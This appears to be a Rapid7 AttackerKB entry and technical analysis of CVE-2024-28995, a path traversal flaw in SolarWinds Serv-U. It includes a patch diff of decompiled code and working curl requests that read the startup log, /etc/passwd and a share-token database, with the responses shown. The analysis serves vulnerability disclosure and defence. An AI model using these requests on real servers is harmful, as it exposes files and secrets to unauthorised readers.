Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
5

CVE-2024-28995

Disclosure Date: June 06, 2024
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.

Add Assessment

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Based upon our Rapid7 Analysis, I have rated the attacker value of this vulnerability as Very High, as an unauthenticated attacker can read files from a server, and the vulnerable product is a file tranfser solution. I have rated the exploitability as Very High, as exploitation is trivial.

CVSS V3 Severity and Metrics
Base Score:
7.5 High
Impact Score:
3.6
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
None
Availability (A):
None

General Information

Vendors

  • solarwinds

Products

  • serv-u,
  • serv-u 15.4.2

Additional Info

Technical Analysis

Overview

On June 5, 2024, SolarWinds published an advisory for CVE-2024-28995, a high-severity directory traversal vulnerability affecting their file transfer solution Serv-U. The vulnerability was discovered by researcher Hussein Daher of Web Immunify.

According to the vendor, the following versions of Serv-U are affected, running on either Windows or Linux:

  • Serv-U FTP Server 15.4
  • Serv-U Gateway 15.4
  • Serv-U MFT Server 15.4

As per the vendor documentation, Serv-U version 15.3.2 and earlier will reach end of life in February 2025, and all versions below this have reached end of life and are unsupported.

Our analysis was conducted on a Windows Server 2022 system, running SolarWinds Serv-U File Server (64-bit) version 15.4.2.126. We also confirmed exploitation against Serv-U File Server (64-bit) version 15.4.2.126 running on Linux. In both cases, all default installation options were used. When running Serv-U on either Windows or Linux, a new Serv-U File transfer and File Sharing “Domain” was created to reflect a real world deployment.

We have verified the vendor supplied hotfix 15.4.2 Hotfix 2 (version 15.4.2.157) successfully remediates this vulnerability.

Analysis

The Serv-U application is largely a native code application written in what appears to be C++. The majority of the code is located in the Serv-U.dll binary. We downloaded a vulnerable version of the application, version 15.4.2.126, and the hotfix version 15.4.2.157 which contains the patch for CVE-2024-28995.

We analyzed both binaries with IDA Pro and then performed a binary diff using BinDiff. Looking at the BinDiff “function matches” results, we can see that only a single function has been modified in the hotfix.

diff1.png

Both versions of the modified function sub_18016DC30, which has the same address in both binaries, can be decompiled and compared to get a better understanding of what has changed. Below is the full output of the functions changes.

diff --git a/func_vuln.c b/func_patched.c
index a83d349..8a1bd0c 100644
--- a/func_vuln.c
+++ b/func_patched.c
@@ -25,24 +25,23 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
   char v29; // bl
   __int64 v30; // rax
   __int64 v31; // rax
-  __int64 v32; // rax
-  void **v34; // [rsp+38h] [rbp-38h] BYREF
-  char v35[8]; // [rsp+40h] [rbp-30h] BYREF
-  void **v36; // [rsp+48h] [rbp-28h] BYREF
-  wchar_t *v37; // [rsp+50h] [rbp-20h] BYREF
-  char v38[24]; // [rsp+58h] [rbp-18h] BYREF
+  void **v33; // [rsp+38h] [rbp-38h] BYREF
+  char v34[8]; // [rsp+40h] [rbp-30h] BYREF
+  void **v35; // [rsp+48h] [rbp-28h] BYREF
+  wchar_t *v36; // [rsp+50h] [rbp-20h] BYREF
+  char v37[24]; // [rsp+58h] [rbp-18h] BYREF
 
-  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v37);
-  v36 = &CRhinoString::`vftable';
-  std::vector<void *>::_Orphan_range(&v36);
-  v36 = (void **)&CSUString::`vftable';
-  std::vector<void *>::_Orphan_range(&v36);
+  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v36);
+  v35 = &CRhinoString::`vftable';
+  std::vector<void *>::_Orphan_range(&v35);
+  v35 = (void **)&CSUString::`vftable';
+  std::vector<void *>::_Orphan_range(&v35);
   PLH::VTableSwapHook::VTableSwapHook(this, v7, v8);
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Web Client") )
+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Web Client") )
   {
     Manager = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       Manager);
     v10 = -1LL;
     do
@@ -50,91 +49,88 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
     while ( aWebClient_0[v10] );
 LABEL_4:
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"Web Client",
       v10);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-LABEL_46:
-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v34);
-    goto LABEL_47;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+    goto LABEL_48;
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Admin") )
+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Admin") )
   {
-    if ( a4 )
+    if ( !a4
+      || (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
+      && (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), !(unsigned int)sub_1800830B0(v11)) )
     {
-      if ( !(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
-        || (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), (unsigned int)sub_1800830B0(v11)) )
-      {
-        v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-        ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-          &v34,
-          v12);
-        v13 = -1LL;
-        do
-          ++v13;
-        while ( aAdmin_1[v13] );
-        ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-          &v34,
-          qword_18046D5F8,
-          *(unsigned int *)(qword_18046D5F8 - 16),
-          L"Admin",
-          v13);
-        ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-        goto LABEL_46;
-      }
+      a3 = L"404NotFound.htm";
+      v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+        &v33,
+        v14);
+      v10 = -1LL;
+      do
+        ++v10;
+      while ( aWebClient_0[v10] );
+      goto LABEL_4;
     }
-    a3 = L"404NotFound.htm";
-    v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
-      v14);
-    v10 = -1LL;
+      &v33,
+      v12);
+    v13 = -1LL;
     do
-      ++v10;
-    while ( aWebClient_0[v10] );
-    goto LABEL_4;
+      ++v13;
+    while ( aAdmin_1[v13] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Admin",
+      v13);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Common") )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Common") )
   {
     v15 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       v15);
     v16 = -1LL;
     do
       ++v16;
     while ( aCommon_0[v16] );
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"Common",
       v16);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-    goto LABEL_46;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"FVJV") )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"FVJV") )
   {
     v17 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       v17);
     v18 = -1LL;
     do
       ++v18;
     while ( aFvjv_1[v18] );
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"FVJV",
       v18);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-    goto LABEL_46;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
   {
     v19 = sub_180153E60(a4);
     v20 = (CDomainAttrs *)v19;
@@ -146,98 +142,100 @@ LABEL_46:
               0LL,
               0LL,
               0LL);
-      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A7484(v21 + 106) )
+      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A74D4(v21 + 106) )
       {
-        v22 = (__int64)v36;
+        v22 = (__int64)v35;
         v23 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v21 + 448LL))(v21);
-        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v36, v23);
+        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v35, v23);
       }
     }
   }
-  else
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
   {
-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
-    {
-      v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
-        v24);
-      v25 = -1LL;
-      do
-        ++v25;
-      while ( aSidecar_0[v25] );
-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
-        qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
-        L"Sidecar",
-        v25);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
-    }
-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Demo") && (byte_18046D5D1 & 1) != 0 )
-    {
-      v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
-        v26);
-      v27 = -1LL;
-      do
-        ++v27;
-      while ( aDemo[v27] );
-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
-        qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
-        L"Demo",
-        v27);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
-    }
-    if ( !(unsigned __int8)sub_1801A74A8(&v36, L"WebClientNew") )
-    {
-      v32 = sub_18005C6CC(&v34, &qword_18046D5F8, &v37);
-      ((void (__fastcall *)(void ***, __int64))v36[20])(&v36, v32);
-      goto LABEL_46;
-    }
-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v35);
-    v34 = &CRhinoString::`vftable';
-    std::vector<void *>::_Orphan_range(&v34);
-    v34 = (void **)&CSUString::`vftable';
-    std::vector<void *>::_Orphan_range(&v34);
-    v28 = sub_1801A6BD4(&v34, v38);
-    v29 = sub_1801A7484(v28);
-    `std::locale::global'::`1'::dtor$2(v38);
-    CSUString::~CSUString((CSUString *)&v34);
+    v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+      &v33,
+      v24);
+    v25 = -1LL;
+    do
+      ++v25;
+    while ( aSidecar_0[v25] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Sidecar",
+      v25);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+  }
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Demo") && (byte_18046D5D1 & 1) != 0 )
+  {
+    v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+      &v33,
+      v26);
+    v27 = -1LL;
+    do
+      ++v27;
+    while ( aDemo[v27] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Demo",
+      v27);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+  }
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"WebClientNew") )
+  {
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v34);
+    v33 = &CRhinoString::`vftable';
+    std::vector<void *>::_Orphan_range(&v33);
+    v33 = (void **)&CSUString::`vftable';
+    std::vector<void *>::_Orphan_range(&v33);
+    v28 = sub_1801A6C24(&v33, v37);
+    v29 = sub_1801A74D4(v28);
+    `std::locale::global'::`1'::dtor$2(v37);
+    CSUString::~CSUString((CSUString *)&v33);
     if ( !v29 )
     {
       v30 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
       ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
+        &v33,
         v30);
       v31 = -1LL;
       do
         ++v31;
       while ( aWebclientnew[v31] );
       ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
+        &v33,
         qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
+        *((unsigned int *)qword_18046D5F8 - 4),
         L"WebClientNew",
         v31);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
+      ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
     }
   }
-LABEL_47:
-  if ( !(unsigned __int8)sub_1801A7484(&v36) )
+  else
+  {
+    CSUString::MakeDirSeparator((CSUString *)&v35);
+    if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 )
+      CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
+    else
+      ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
+  }
+LABEL_48:
+  if ( !(unsigned __int8)sub_1801A74D4(&v35) )
   {
     (*(void (__fastcall **)(CSUString *, const wchar_t *))(*(_QWORD *)this + 152LL))(this, a3);
     CSUString::MakeDirSeparator(this);
-    CSUString::BuildLocalPath(this, v37);
-    if ( (unsigned int)sub_1801A69C8(this, L"\\..\\", 0LL) != -1 )
+    CSUString::BuildLocalPath(this, v36);
+    if ( (unsigned int)sub_1801A6A18(this, L"\\..\\", 0LL) != -1 )
       ATL::CSimpleStringT<wchar_t,1>::Empty((char *)this + 8);
   }
-  CSUString::~CSUString((CSUString *)&v36);
+  CSUString::~CSUString((CSUString *)&v35);
   return this;
 }

The modified function processes a file path. We can see the patched function has the addition of the following check.

  else
  {
    CSUString::MakeDirSeparator((CSUString *)&v35); // replace '/' characters with '\' character
    if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 ) // CString::Find
      CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
    else
      ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
  }

The path is checked to see if it contains a double dot path segment (\..\), and if found the path will be cleared. Seeing the addition of a check like this in the patch is a strong indication that this function is the root cause of the directory traversal vulnerability.

When we investigate the usage of this vulnerable function, herein renamed to vulnerable_path_traversal_function, we see a pattern emerge of how this function is used. For example:

      get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir");
      get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile");
      v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);

In almost all uses of vulnerable_path_traversal_function, two HTTP request parameters named InternalDir and InternalFile are retrieved before calling into the vulnerable function.

Could simply providing these two request parameters trigger the directory traversal vulnerability and read an arbitrary file? A quick curl command shows we are looking in the right place…

Note: The ampersand (&) was escaped with a caret (^), as curl was run on a Windows host for every example throughout this analysis.

curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../^&InternalFile=hax

The following file system access is captured by Procmon on the target server, and shows the path traversal vulnerability in operation.

procmon1.png

We can now modify the request’s path to reach an arbitrary file on the target server we want to read. On Windows, the Serv-U program data is stored in the folder C:\ProgramData\RhinoSoft\Serv-U\. In this folder, the file Serv-U-StartupLog.txt contains the applications logging information emitted during application startup. This file will contain the target Serv-U server’s version number among other things. This is a good file candidate to read in order to verify the vulnerability.

Reworking our curl request, we can now read the C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt file as shown below.

>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 13:46:06 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/;  httponly
Content-Length: 2119

[01] Tue 11Jun24 01:28:15 - Serv-U File Server:{B30A1319-9C51-8241-728C-F6FCD0C1BFD2} (64-bit) - Version 15.4 (15.4.2.126) - (C) 2024 SolarWinds Worldwide, LLC.  All rights reserved.
[01] Tue 11Jun24 01:28:15 - Build Date: Thursday 21 March 2024 09:33
[01] Tue 11Jun24 01:28:15 - Operating System: Windows Server 2012 64-bit; Version: 6.2.9200
[01] Tue 11Jun24 01:28:15 - Loaded graphics library.
[01] Tue 11Jun24 01:28:15 - Loaded ODBC database library.
[01] Tue 11Jun24 01:28:15 - Loaded SSL/TLS libraries.
[01] Tue 11Jun24 01:28:15 - Loaded SQLite library.
[01] Tue 11Jun24 01:28:15 - FIPS 140-2 mode is OFF.
[01] Tue 11Jun24 01:28:15 - Valid Server Identity found
[01] Tue 11Jun24 01:28:15 - WinSock Version 2.2 initialized.
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP 127.0.0.1
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP ::1
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)

Success! We can now traverse the operating system’s file system via double dot path notation and read any file (including binary files), so long as we know the file path we want to read from.

It is interesting to note that we targeted a Windows system, but were able to pass forward slash (/) characters as the path separator in our HTTP request. On Windows, the backslash character (\) is the path separator. This appears to be a key part of the vulnerability’s root cause. Investigating further, we discover that an attempt is made in the vulnerable function to detect path traversal by looking for a path segment \..\ in the attacker supplied path. However if we supply path segments separated by a forward slash, e.g. /../, we can bypass this check. Later, in the function sub_180165B60, before a call to wfopen_s to actually open this file, a helper method is called which will replace all / characters with the underlying operating systems native path separator \. Therefore we can pass the check for a path traversal path segment by supplying a path that will initially be constructed as:

C:\Program Files\RhinoSoft\Serv-U\Client\/../../../../ProgramData/RhinoSoft/Serv-U/\Serv-U-StartupLog.txt

And then prior to being opened, the path will be transformed to:

C:\Program Files\RhinoSoft\Serv-U\Client\\..\..\..\..\ProgramData\RhinoSoft\Serv-U\\Serv-U-StartupLog.txt

Which is a valid path on Windows. On a Linux based target the technique is the same, however the path separators are reversed, so \ will be replaced with /.

A default Windows installation will run the Serv-U service with NT AUTHORITY\NETWORK SERVICE permissions. A default Linux installation will run the Serv-U service with root permissions. The permissions of the running Serv-U service will impact the ability to read some files, should the Serv-U service not have sufficient permission to read that file. If the Serv-U service is running on Linux as root for example, this will not be an issue.

Another interesting file to read would be C:\ProgramData\RhinoSoft\Serv-U\Shares\Serv-U.FileShares. This is a SQLite3 database containing the ShareToken of every file shared by Serv-U. The ShareToken is a secret needed for an external party to read a shared file. However on Windows this file is locked, and attempting to read this file will not work. The call to kernelbase!CreateFileW in the Serv-U.exe process will return ERROR_SHARING_VIOLATION.

When targeting a Linux based system, we can read an arbitrary file such as /etc/passwd as shown below. Note that path separators must be backslashes (\) and not forward slashes (/).

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 14:55:28 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Last-Modified: Tue, 16 Jan 2024 10:58:11 GMT
Expires: -1
Cache-Control: must-revalidate, private
Content-Length: 3017

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

While the SQLite database Serv-U.FileShares is locked on Windows, we can successfully read this file on a Linux target, as shown below:

curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\Shares^&InternalFile=Serv-U.FileShares --output Serv-U.FileShares
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 61440  100 61440    0     0  1965k      0 --:--:-- --:--:-- --:--:-- 2000k

The resulting output will contain an HTTP response header that we must first strip out in order to leave only the desired file’s content. Then, using a tool like DB Browser for SQLite, we can read the database and discover every shared file on the target system.

db1.png

